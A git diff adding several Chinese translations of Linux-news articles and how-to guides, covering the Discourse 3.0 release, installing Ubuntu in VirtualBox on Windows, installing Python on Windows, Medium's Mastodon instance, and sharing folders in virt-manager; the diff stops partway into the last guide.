Amazing Release With Much-Needed Feature Additions.md b/published/202301/20230112.2 ⭐️⭐️ Discourse 3.0 is an Amazing Release With Much-Needed Feature Additions.md new file mode 100644 index 0000000000..6bf9cc9436 --- /dev/null +++ b/published/202301/20230112.2 ⭐️⭐️ Discourse 3.0 is an Amazing Release With Much-Needed Feature Additions.md @@ -0,0 +1,144 @@ +[#]: subject: "Discourse 3.0 is an Amazing Release With Much-Needed Feature Additions" +[#]: via: "https://news.itsfoss.com/discourse-3-0-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15449-1.html" + +Discourse 3.0 发布,增加了很多需要的功能 +====== + +> 开源论坛软件 Discourse 有了一个新的重大版本升级!让我们看看有什么新东西。 + +![][1] + +Discourse 是一个开源的论坛平台,以其丰富的功能和第三方集成而闻名。 + +它也是 [最好的开源论坛软件][2] 之一,你可以部署在你的 Linux 服务器上来建立一个社区。 + +现在,我们来看看 Discourse 的最新版本。 + +在 [Discourse 2.0][4] 发布已近五年之后,**Discourse 3.0 终于来了**。 + +这个版本包含了大量的新功能和改进,让我带你看看: + +### 🆕 Discourse 3.0 的新变化 + +![Discourse 3.0][5] + +Discourse 3.0 提供了很多东西,其中一些值得注意的亮点包括: + +- 新的设置向导 +- 用户状态 +- 通知菜单 +- 新的侧边栏 +- 实时聊天 +- 用户提示 + +#### 新的设置向导 + +![新的设置向导][6] + +Discourse 现在有一个新的设置向导,可以让你快速配置一些最重要的选项。 + +因此,像将社区设置为私人、仅邀请、需要批准等选项在论坛设置的初始阶段就会显示出来。 + +#### 用户状态 + +![Discourse 用户状态][7] + +与现在大多数社区平台的做法类似,Discourse 现在也支持设置用户状态。 + +用户可以设置一个自定义的表情符号和文字,在整个平台上显示在他们的头像附近,无论是帖子、聊天还是用户卡中。 + +#### 通知菜单 + +![Discourse 通知][8] + +这终于实现了。 + +Discourse 现在有一个专门的通知菜单,让你更容易跟踪你在论坛上的活动。 + +#### 新的侧边栏 + +![Discourse 侧边栏][9] + +这是的另一项你可能会喜欢的用户体验改进。 + +你现在可以在新的侧边栏上添加聊天频道、标签和类别,以方便访问你想追踪的东西。 + +论坛的管理员也可以为游客和新成员设置一个默认的侧边栏配置;这样,每个人都可以对论坛提供的内容有一个很好的展望。 + +#### 实时聊天 + +![Discourse 实时聊天][10] + +Discourse 现在支持实时聊天;频道管理员可以选择创建一个非正式的讨论、展示,甚至是备忘录的空间,如果这对他们有用的话。 + +Discourse 的产品经理 Rishabh Nambiar 提到: + +> 我们的目标是,当对话在快节奏的聊天和慢节奏的讨论之间转换时,赋予社区以综合的体验。 +> +> 当想法被激发出来,在一个更容易被发现的地方,聊天信息可以被引用到话题中,讨论可以随着时间的推移而继续,并允许不同时间和地点的人以后加入进来。 + +#### 用户提示 + +![Discourse 用户提示][11] + +这个功能对不熟悉 Discourse 的新用户很有帮助。 + +当用户第一次使用某个特定的功能时,他们会得到与 Discourse 的功能相关的提示。 + +#### 🛠️ 其他变化和改进 + +上面提到的并不是这次发布的 Discourse 的全部变化,下面是其他一些亮点: + +- 改造了标签系统。 +- 改进了搜索界面。 +- 更新了开源工具。 +- 改进了错误页面。 +- 新的闪屏。 +- 改进了页面加载动画。 +- 更快的图像预加载。 + +如果你想深入了解这个版本的技术细节,请查阅 [发行说明][12]。 + +### 📥 获取 Discourse 3.0 + +如果你使用的是 [Discourse 的托管计划][13],你一定已经收到了 3.0 的更新,你所要做的就是通过你的管理设置启用新功能。 + +如果你是自我托管,你必须通过点击管理仪表板上的“更新”按钮手动更新你的实例。 + +对于新用户,请在他们的官方网站上探索更多关于 Discourse 的信息。 + +> **[Discourse][14]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/discourse-3-0-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/discourse-3-0-release.png +[2]: https://itsfoss.com/open-source-forum-software/ +[3]: https://itsfoss.community +[4]: https://blog.discourse.org/2018/05/discourse-2-0-released/ +[5]: https://news.itsfoss.com/content/images/2023/01/Discourse_3.0.jpg +[6]: https://news.itsfoss.com/content/images/2023/01/discourse-member-exp-1.png +[7]: https://news.itsfoss.com/content/images/2023/01/Discourse_3.0_User_Status.jpg +[8]: https://news.itsfoss.com/content/images/2023/01/Discourse_3.0_Notifications-1.jpg +[9]: https://news.itsfoss.com/content/images/2023/01/Discourse_3.0_Sidebar-1.jpg +[10]: https://news.itsfoss.com/content/images/2023/01/Discourse_3.0_Chat.jpg +[11]: https://news.itsfoss.com/content/images/2023/01/Discourse_3.0_User_Tips.jpg +[12]: https://meta.discourse.org/t/discourse-version-3-0/ +[13]: https://www.discourse.org/pricing +[14]: https://www.discourse.org diff --git a/published/202301/20230112.3 ⭐️⭐️ Install Ubuntu on Windows Using VirtualBox [Complete Guide].md b/published/202301/20230112.3 ⭐️⭐️ Install Ubuntu on Windows Using VirtualBox [Complete Guide].md new file mode 100644 index 0000000000..97e7bf1469 --- /dev/null +++ b/published/202301/20230112.3 ⭐️⭐️ Install Ubuntu on Windows Using VirtualBox [Complete Guide].md @@ -0,0 +1,242 @@ +[#]: subject: "Install Ubuntu on Windows Using VirtualBox [Complete Guide]" +[#]: via: "https://www.debugpoint.com/install-ubuntu-windows-virtualbox/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "ZhangZhanhaoxiang" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15472-1.html" + +完整指南:使用 VirtualBox 在 Windows 上安装 Ubuntu +====== + +![][0] + +> 本教程将指导你用最简单的步骤在 Windows 上的 Oracle VirtualBox 上安装 Ubuntu 桌面版。 + +[VirtualBox][1] 是 Oracle 的一款流行的虚拟化软件,可用于 Linux、mac 和 Windows 系统。它是灵活的,并提供了许多功能来实现虚拟化。这是在 Windows 中体验 Ubuntu 而不安装它的最佳且简单的方法。然而,我强烈建议将 Ubuntu 以双引导的方式安装在物理机上,从而更好地体验 Ubuntu。 + +下面列出的步骤假设你是第一次在 Windows 中安装 Ubuntu。因此,这些步骤有点描述性,也有点冗长。此外,以下步骤适用于 Windows 10 和 Windows 11 作为宿主机。 + +### 你需要什么 + +- 可上网的 PC +- 用于安装的 Ubuntu Linux ISO 镜像文件 +- 安装了 VirtualBox 的 Windows 系统 + +### 使用 VirtualBox 在 Windows 上安装 Ubuntu + +#### 下载并安装必要的东西 + +从以下链接下载 Ubuntu Linux 桌面版 ISO 镜像文件。 + +> **[下载 Ubuntu 桌面版][7]** + +此外,请从下面的官方网站下载 Oracle VirtualBox 安装程序。 + +> **[下载 VirtualBox][8]** + +![VirtualBox for Windows 的下载位置][9] + +#### 如何安装和配置 VirtualBox + +Windows 中的 VirtualBox 需要 “Microsoft Visual C++ 2019 Redistrobutiable package”。你必须先安装它。从以下链接下载软件包(X64 架构): + +> **[下载 MSVC][10]** + +![下载 VirtualBox 的依赖项][11] + +![安装 VirtualBox 的依赖项][12] + +完成以上安装后,从以下链接下载最新的 Python 包。Python 绑定也是 Windows 端 VirtualBox 安装所需的依赖项。 + +> **[下载 Python for Windows][13]** + +然后,启动 VirtualBox 安装程序并按照屏幕上的说明进行安装。 + +安装后,重新启动 Windows 系统。 + +#### 为 Ubuntu 设置虚拟机 + +从开始菜单启动 VirtualBox。 + +![从开始菜单中选择 VirtualBox][14] + +在 VirtualBox 窗口工具栏上,单击 “新建New”。 + +![单击新建][16] + +- 在创建虚拟机窗口中,输入虚拟机的名称。它可以是标识此版本 Ubuntu 的任何名称。 +- 保持 “文件夹Folder” 不变。这是创建虚拟机文件的路径。 +- 在 “ISO 镜像文件ISO Image” 一栏,浏览你下载的 Ubuntu ISO 文件。 +- 然后选择 “跳过无人值守安装 Skip Unattended installation”。如果不选择此选项,将在虚拟机中创建一个 [默认用户 id(vboxuser)和密码][15]。让我们暂时不要管它。 + +![选择 ISO 文件][17] + +- 单击 “硬件Hardware” 部分,并调整虚拟机所需的内存。一般的经验是,虚拟机的内存大小应该小于主机系统中的物理内存。我建议对于 8 GB 内存系统的虚拟机使用 2 GB 到 4 GB。要选择 4 GB 内存,拖动滑块(或键入)使其为 4096 MB(即 4×1024)。 +- 选择 2 或 4 核处理器。 + +![选择硬件][18] + +- 单击 “硬盘Hard Disk” 部分,并保持文件位置不变。 +- 为 Ubuntu 安装提供至少 20 GB 到 25 GB 的容量。 +- 硬盘文件类型值保持为 VDI(VirtualBox 磁盘镜像) +- 不要选择 “预分配完整大小Pre-allocate Full Size”。 +- 最后,单击 “完成Finish”。 + +![选择硬盘][19] + +你应该在 VirtualBox 的左侧面板上看到一个新条目,其中包含一个 Ubuntu 22.04 条目(你之前设置的名称)。 + +选择条目并单击 “开始Start” 以引导到虚拟机: + +![在 VirtualBox 中启动 Ubuntu][20] + +#### 使用 VirtualBox 安装 Ubuntu + +成功引导后,你应该看到以下屏幕,其中显示了安装 Ubuntu 的各种选项。选择 “尝试 UbuntuTry Ubuntu” 或 “安装 UbuntuInstall Ubuntu”。 + +在欢迎屏幕中,单击 “尝试 UbuntuTry Ubuntu”。过了一会儿,你会看到下面的 Ubuntu 临场Live桌面。如果要更改分辨率,请右键单击桌面并选择显示设置。并将分辨率更改为 1400×900。 + +![选择尝试 Ubuntu][21] + +在桌面上,双击 “安装 UbuntuInstall Ubuntu”。 + +![Ubuntu LIVE 桌面][22] + +在下一组屏幕中,根据需要选择 “语言Language” 和 “键盘布局Keyboard Layout”。 + +![选择语言][23] + +![选择键盘布局][24] + +安装屏幕为你提供所需的安装类型。选择 “正常安装Normal Installation”,然后在 “其他选项Other options” 下选择两个选项。 + +![选择安装选项][25] + +由于你是在虚拟磁盘空间中安装的,即它只是一个文件,因此你可以安全地选择 “擦除磁盘并安装 UbuntuErase disk and install Ubuntu” 选项。 + +![安装类型][26] + +点击 “立即安装Install Now” 并 “继续Continue”。 + +![将更改写入磁盘][27] + +然后选择 “地区region”,添加“你的名字Your name”、“计算机名称Your computer's name”、“用户名Username” 和 “密码Password”。这将是安装后登录 Ubuntu 的用户 id 和密码。 + +单击 “继续Continue” 开始安装。等到它完成。 + +![创建用户帐户][28] + +安装完成后,单击 “立即重新启动Restart Now”。等待几秒钟,你将看到一个登录屏幕。使用用户 id 和密码登录。你应该看到 Ubuntu 桌面在 Windows 端 VirtualBox 中作为 VM 运行。 + +![Ubuntu 安装完成][29] + +![登录 Ubuntu][30] + +![使用 Virtualbox 在 Windows 中运行的 Ubuntu][31] + +### 安装后配置和提示(可选) + +#### 安装客体机增强项 + +成功安装后,应为 Windows 宿主机和 Ubuntu 客体机安装 “VirtualBox 客体机增强项VirtualBox guest additions”。客体机增强项是一组需要安装在客体虚拟机(即 Ubuntu)内的软件包,以启用 **共享文件夹、双向复制 / 粘贴、自动更改分辨率** 和许多类似功能。 + +要安装它,请引导到 Ubuntu。从 VirtualBox 菜单中,选择“设备Devices > 插入客体机增强 CD 镜像Insert Guest Additions CD Image”。必要的软件包将安装在 Ubuntu 中。 + +![从菜单中选择客体机增强][32] + +打开文件管理器并打开装入的文件夹,如下所示。然后右键单击 > 选择 “在终端中打开open in terminal”。 + +![打开已挂载的光盘并选择带有终端的选项][33] + +然后运行以下命令: + +``` +sudo ./VBoxLinuxAdditions.run +``` + +![VirtualBox 为 Windows 主机添加客体机增强项][34] + +完成上述命令后,重新启动 Ubuntu VM。 + +#### 启用 Windows 和 Ubuntu 之间的复制和粘贴 + +要在 Windows 和 Ubuntu 系统之间启用复制和粘贴,请从菜单中选择 “设备Devices > 共享剪贴板Shared Clipboard > 双向Bi-directional”。 + +![启用共享剪贴板][35] + +#### 关闭 Ubuntu VM + +理想情况下,你应该从自己的关机菜单中关闭 VM。但是,你也可以从 VirtualBox 主窗口关闭。右键单击虚拟机名称并选择 “关闭Close > 关机Poweroff”。 + +![关闭虚拟机][36] + +#### 如何删除 Ubuntu 并删除所有数据 + +如果要完全删除虚拟机(例如 Ubuntu)及其数据,请选择 “删除Remove” 和 “删除所有文件Delete All Files”。 + +![选择删除以移除虚拟机][37] + +![选择删除选项][38] + +### 结语 + +在本教程中,你学习了使用 VirtualBox 在 Windows(10 或 11)上安装 Ubuntu 的最简单方法。此外,你还学习了几步安装后配置 Ubuntu VM 的基本步骤。你可以对 VirtualBox 中的其他任何 Linux 发行版使用上述步骤。 + +如果你有任何疑问,欢迎在下面发表评论。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-ubuntu-windows-virtualbox/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[ZhangZhanhaoxiang](https://github.com/ZhangZhanhaoxiang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/virtualbox +[2]: https://www.debugpoint.com#presteps +[3]: https://www.debugpoint.com#download-items +[4]: https://www.debugpoint.com#install-virtualbox +[5]: https://www.debugpoint.com#install-ubuntu +[6]: https://www.debugpoint.com#post-install-steps +[7]: https://ubuntu.com/download/desktop +[8]: https://www.virtualbox.org/wiki/Downloads +[9]: https://www.debugpoint.com/wp-content/uploads/2023/01/Download-location-for-VirtualBox-for-Windows.jpg +[10]: https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170 +[11]: https://www.debugpoint.com/wp-content/uploads/2023/01/Download-the-dependency-for-VirtualBox.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2023/01/Install-the-dependency-for-VirtualBox.jpg +[13]: https://www.python.org/downloads/windows/ +[14]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-VirtualBox-from-start-menu.jpg +[15]: https://www.debugpoint.com/virtualbox-id-password/ +[16]: https://www.debugpoint.com/wp-content/uploads/2023/01/Click-on-New.jpg +[17]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-the-ISO-file.jpg +[18]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-Hardware.jpg +[19]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-Hard-Disk.jpg +[20]: https://www.debugpoint.com/wp-content/uploads/2023/01/Boot-Ubuntu-in-VirtualBox.jpg +[21]: https://www.debugpoint.com/wp-content/uploads/2023/01/1-Select-Try-Ubuntu.jpg +[22]: https://www.debugpoint.com/wp-content/uploads/2023/01/2-Ubuntu-LIVE-desktop-1.jpg +[23]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-Language.jpg +[24]: https://www.debugpoint.com/wp-content/uploads/2023/01/4-Select-Keybaord-Layout.jpg +[25]: https://www.debugpoint.com/wp-content/uploads/2023/01/5-Select-install-options.jpg +[26]: https://www.debugpoint.com/wp-content/uploads/2023/01/6-Installation-Type.jpg +[27]: https://www.debugpoint.com/wp-content/uploads/2023/01/7-Write-changes-to-disk.jpg +[28]: https://www.debugpoint.com/wp-content/uploads/2023/01/8-User-account-creation.jpg +[29]: https://www.debugpoint.com/wp-content/uploads/2023/01/10-Ubuntu-Installation-is-complete.jpg +[30]: https://www.debugpoint.com/wp-content/uploads/2023/01/11-Log-on-to-Ubuntu.jpg +[31]: https://www.debugpoint.com/wp-content/uploads/2023/01/12-Ubuntu-running-in-Windows-using-Virtualbox-2048x1280.jpg +[32]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-Guest-addition-from-the-menu.jpg +[33]: https://www.debugpoint.com/wp-content/uploads/2023/01/Open-the-mounted-disc-and-select-option-with-terminal.jpg +[34]: https://www.debugpoint.com/wp-content/uploads/2023/01/VirtualBox-guest-addition-install-for-Windows-host.jpg +[35]: https://www.debugpoint.com/wp-content/uploads/2023/01/Enable-clipboard-sharing.jpg +[36]: https://www.debugpoint.com/wp-content/uploads/2023/01/Poweroff-Virtual-machine.jpg +[37]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-remove-to-delete-a-VM.jpg +[38]: https://www.debugpoint.com/wp-content/uploads/2023/01/Select-the-delete-options.jpg +[39]: https://www.debugpoint.com/install-python-windows/ +[40]: https://floss.social/@debugpoint +[0]: https://img.linux.net.cn/data/attachment/album/202301/23/230204pr8c36xesq5r8vx9.jpg \ No newline at end of file diff --git a/published/202301/20230113.0 ⭐️ How to Install Python on Windows [Beginner’s Guide].md b/published/202301/20230113.0 ⭐️ How to Install Python on Windows [Beginner’s Guide].md new file mode 100644 index 0000000000..8ef8685076 --- /dev/null +++ b/published/202301/20230113.0 ⭐️ How to Install Python on Windows [Beginner’s Guide].md @@ -0,0 +1,144 @@ +[#]: subject: "How to Install Python on Windows [Beginner’s Guide]" +[#]: via: "https://www.debugpoint.com/install-python-windows/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15480-1.html" + +如何在 Windows 上安装 Python +====== + +![][0] + +> 这个简单的指南演示了如何在 Windows 上下载和安装 Python。 + +这篇文章是用最新的 Python 3.11 稳定版测试的。 + +在学习如何在 Windows 上安装 Python 之前,你可能想看看如何在 Linux 发行版(如 Ubuntu)上[轻松安装][1] Python。如果你打算成为一名开发者,最好在 Linux 中尝试 Python。那么,你可能想看看 [如何在 Windows 之外安装 Linux(如 Ubuntu)][2]。 + +Python 是一种流行的通用编程语言,在过去十年中成为开发者的选择。而且它的受欢迎程度与日俱增。它被广泛用于网络开发、复杂系统、数据科学、机器学习和所有科学领域。 + +你可能遇到的 Python 有两个版本。Python2 目前已经不支持了。而 Python3 系列是持续支持的版本。 + +### 检查 Python 是否已经安装 + +在 Windows 上安装它之前,你应该检查它是否已经安装。一般来说,它应该没有安装,不像在 Ubuntu (和其他 Linux 发行版)中,Python 是预先安装的。 + +从开始菜单中,打开“命令提示符”。 + +并输入以下内容: + +``` +python --version +``` + +如果 Python 是可用的,它将显示一个包含版本细节的信息。 + +### 下载并安装 Python + +打开下面的 Python 官方下载页面。 + +> **[下载 Python][3]** + +![如何找到要安装的 Python][4] + +在顶部,你应该看到当前的稳定版本。点击下载链接。如果你正在寻找任何特定的版本,在这个页面上向下滚动,在 “Python releases by version number:” 的标签下下载特定的版本。 + +下载后,进入下载文件夹,运行安装程序。 + +按照屏幕上的指示进行安装。 + +![安装 Python 第 1 步][5] + +![安装 Python 第 2 步][6] + +安装完成后,验证 Python 的版本。 + +### 验证 Python 版本 + +从开始菜单,打开“命令提示符”,运行以下命令。 + +``` +python --version +``` + +![Windows 上的 Python 版本][7] + +你应该看到你的系统当前安装的 Python 包的版本。另外,你也可以运行下面的程序来获得一个 Python 交互式 shell。 + +``` +python +``` + +你可以用 `CTRL+Z` 和回车键退出这个交互界面。 + +### 检查 PATH 变量 + +你应该检查系统变量 `PATH`,看看 Python 的可执行位置是否存在。这应该是使用安装程序自动更新的。 + +从开始菜单中,搜索“系统变量system variables”并打开它。 + +![打开环境变量设置][8] + +在“系统属性”对话框中,点击“高级Advanced > 环境变量Environment Variables”。在用户变量部分,对照路径变量,检查 Python 的安装位置是否存在。请参考下面的图片作为指导。 + +如果你看到所有的路径都存在,你就可以运行你的 Python 项目了。 + +![检查 Windows 中的 Python 环境 PATH 值][9] + +### 创建并运行你的第一个 Python 程序 + +一个额外的步骤,这里是你如何编码和运行你的第一个 Python 程序。你可以使用任意 [推荐的 Python 编辑器][10] 来编写你的程序。 + +下面是一个简单的程序,它在控制台中输出文本 `debugpoint.com`。 + +``` +# Sample Python program +print("debugpoint.com") +``` + +用任意名字保存文件。这里我把它保存为 `hello.py`,放在 E 盘。`.py` 是 Python 源码的扩展名。 + +要运行这个程序,请打开命令提示符,在 E 盘中执行以下内容。 + +``` +python hello.py +``` + +输出: + +![在 Windows 中运行一个简单的 Python 程序][11] + +### 结束语 + +我希望这个简单的初学者指南能够帮助你在 Windows 中安装 Python,验证安装并运行你的第一个程序。 + +如果你遇到问题,请在下面的评论栏中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-python-windows/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://linux.cn/article-15475-1.html +[2]: https://www.debugpoint.com/complete-guide-how-dual-boot-ubuntu-windows/ +[3]: https://www.python.org/downloads/ +[4]: https://www.debugpoint.com/wp-content/uploads/2023/01/How-to-locate-Python-set-up.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2023/01/Install-Python-step-1.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2023/01/Install-Python-step-2.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2023/01/Python-version-on-Windows.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2023/01/Open-Environment-variable-Settings.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2023/01/Check-Python-Environment-PATH-Values-in-Windows.jpg +[10]: https://www.debugpoint.com/5-best-python-ide-code-editor/ +[11]: https://www.debugpoint.com/wp-content/uploads/2023/01/Running-a-simple-Python-program-in-Windows.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202301/25/211813u4mmhhffif58hmpu.jpg \ No newline at end of file diff --git a/published/202301/20230113.1 ⭐️⭐️ Mastodon's Growth Continues, Medium Joins in With its New Community Platform.md b/published/202301/20230113.1 ⭐️⭐️ Mastodon's Growth Continues, Medium Joins in With its New Community Platform.md new file mode 100644 index 0000000000..e3b3fc4b28 --- /dev/null +++ b/published/202301/20230113.1 ⭐️⭐️ Mastodon's Growth Continues, Medium Joins in With its New Community Platform.md @@ -0,0 +1,98 @@ +[#]: subject: "Mastodon's Growth Continues, Medium Joins in With its New Community Platform" +[#]: via: "https://news.itsfoss.com/medium-mastodon/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15445-1.html" + +Mastodon 继续增长,Medium 的新社区平台也加入了 +====== + +> Mastodon 的又一次胜利!Medium 为其用户推出了一个 Mastodon 实例。 + +![][1] + +Mastodon 在最近一段时间的增长是巨大的;越来越多的人正在转向这个 Twitter 的替代品。 + +如果你不熟悉 Mastodon,它是目前 [最好的主流社交媒体替代品][2] 之一,有可能成为 Twitter 的替代品,它是 **完全开源和去中心化的**。 + +随着 Twitter 的不断发生变化和去年埃隆·马斯克对它的收购,更多的用户开始对 Mastodon 这个平台产生了浓厚的兴趣。 + +Vivaldi [最近推出了][3] 其由 Mastodon 驱动的社区,[Mozilla 基金会][4] 也在考虑类似的东西。 + +现在,[Medium][5] 已经向前迈出了一步,推出了它们的 Mastodon 实例。 + +### Medium 启动了一个由 Mastodon 驱动的社区 + +在 [最近的公告][6] 中,Medium 在 [me.dm][7] 推出了其 Mastodon 实例,专注于 “帮助他们的作者、出版物和读者在 联盟宇宙Fediverse 中找到一个家”。 + +该网站(即 Mastodon 实例)旨在成为 Medium 的用户的专属空间。 + +![][8] + +换句话说,它将成为 Medium 用户的专属社交网络平台。 + +有了这个网络平台,他们也可以开始进行 500 字以内的短文写作了。 + +Medium 的 CEO 提到: + +> 相比之下,Mastodon 主要是为 500 字以内的短文写作服务的。用一个不太双关的说法:今天,我们正在借助 Mastodon 上的实例(me.dm)将我们用于发表长文的 Medium 扩展到短文 medium(小写 m)。除了更简短的形式外,Mastodon 还带来了围绕联盟概念的重要创新。 + +因此,看起来 Medium 正在试水和尝试新的东西。 + +对于那些喜欢一目了然的内容而不是冗长信息的用户来说,可能是一件好事。 + +如果操作得当,这对他们来说会有很好的效果。 + +**那么,你怎样才能加入 Medium 的 Mastodon 平台? + +> 💡 你看,最初,**只有选定的作者和出版物** 才能进入这个 Mastodon 实例。现有的 Medium 用户可以尝试发送一个 [注册请求][9],但要经过他们的批准。 + +因此,如果你发送一个注册请求,你得等待批准。 + +他们还计划作为付费会员的额外服务来邀请作家和读者。 + +他们已经在为他们的 Mastodon 实例开发一个 “用 Medium 注册” 的选项,这应该是为了让你更容易开始使用。 + +关于这一点,他们提到: + +> 有这么多的 Mastodon 实例可供选择,我们计划让 me.dm 一开始就有几个重要的好处:可靠的基础设施和审核,一个短域名让你更容易分享你的用户名,为新用户提供更好的入门培训,以及一个有趣的本地信息源。 + +### 去中心化和开源平台的步伐加快了 + +去中心化的平台正在变得比人们十年前预期的更加流行。 + +最大的促成因素是大型科技公司越来越多的不稳定的变化和决定,迫使用户不断调整他们在社交媒体平台上的互动方式和理由。 + +有了开源和去中心化的平台,用户得到了透明度,更多的数据控制,以及更多的自由。 + +我们可能没有想到,Mastodon 作为一个平台,逐渐成为各种组织的社区建设的一个重要组成部分。因此,我们非常期待在不久的将来看到更多变化。 + +💭 欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/medium-mastodon/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/medium-embraces-mastodon.png +[2]: https://itsfoss.com/mainstream-social-media-alternaives/ +[3]: https://news.itsfoss.com/vivaldi-mastodon-integration/ +[4]: https://blog.mozilla.org/en/mozilla/mozilla-launch-fediverse-instance-social-media-alternative/ +[5]: https://medium.com +[6]: https://blog.medium.com/medium-embraces-mastodon-19dcb873eb11 +[7]: https://me.dm/ +[8]: https://news.itsfoss.com/content/images/2023/01/medium-mastodon.jpg +[9]: https://me.dm/auth/sign_up +[10]: https://unlocator.com/favicon.ico +[11]: https://unlocator.com/wp-content/uploads/2019/05/unlocatoricon.jpg diff --git a/published/202301/20230113.2 ⭐️ Share Folder Between Guest and Host in virt-manager (KVMQemulibvirt).md b/published/202301/20230113.2 ⭐️ Share Folder Between Guest and Host in virt-manager (KVMQemulibvirt).md new file mode 100644 index 0000000000..e0547b8d6f --- /dev/null +++ b/published/202301/20230113.2 ⭐️ Share Folder Between Guest and Host in virt-manager (KVMQemulibvirt).md @@ -0,0 +1,114 @@ +[#]: subject: "Share Folder Between Guest and Host in virt-manager (KVM/Qemu/libvirt)" +[#]: via: "https://www.debugpoint.com/share-folder-virt-manager/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15470-1.html" + +在 virt-manager 的主机和客户机之间共享文件夹 +====== + +![][0] + +> 在本指南中,你将学习如何在 virt-manager 的 KVM、QEMU 和 libvirt 的主机和客户机之间共享文件夹。 + +[virt-manager][1] 应用或软件包使用 [libvirt][2] 库来提供虚拟机管理服务。它有一个桌面界面,有助于创建、删除和管理多个虚拟机。 + +virt-manager 桌面界面及其组件为各种个人和商业场景提供了灵活的虚拟机管理服务。它是一个自由开源的应用,主要用于 KVM 虚拟机。然而,它也可以支持其他管理程序,如 Xen 和 LXC。 + +在之前的文章中,我解释了 [如何使用 virt-manager 创建虚拟机][3]。这篇文章介绍了如何在客户机和主机之间无缝访问文件和文件夹。 + +### 关于 virtiofs 的说明 + +共享文件和文件夹是由名为 virtiofs 的 libvirt 共享文件系统提供的。它提供了访问主机上的目录树的所有功能和参数。由于大多数 virt-manager 虚拟机的配置都被翻译成 XML,所以共享文件/文件夹也可以通过 XML 文件来指定。 + +### 在 virt-manager中共享文件夹 + +首先,确保你的客户机关闭了电源。在 virt-manager GUI 中,选择虚拟机,点击“打开Open”,弹出控制台设置。 + +![打开设置][4] + +点击工具条上显示虚拟硬件细节的图标。然后点击左边面板上的“内存Memory”。 + +选择选项 “启用共享内存Enable shared memory”。点击应用。 + +![启用共享内存选项][5] + +然后点击底部的 “添加硬件Add hardware”。 + +![点击添加硬件][6] + +在添加新硬件的窗口中,从左边的面板上选择 “文件系统File system”。 + +然后在 “细节Details” 标签中选择 “驱动程序Driver” 为 “virtiofs”。点击 “浏览Browse > 浏览本地browse local”,**选择你想在客户机内访问的主机路径**。 + +在目标路径中,输入你想要的任何名字。这只是一个文件标签,将在挂载时使用。 + +所以,如果我想访问 `Pictures/Screenshots` 文件夹(`/home/debugpoint/Pictures/Screenshots`),示例设置可以是这样: + +![添加一个新的文件系统硬件][7] + +下面是上述配置的 XML 设置。你可以在 XML 标签中找到它。 + +``` + + + + + + +
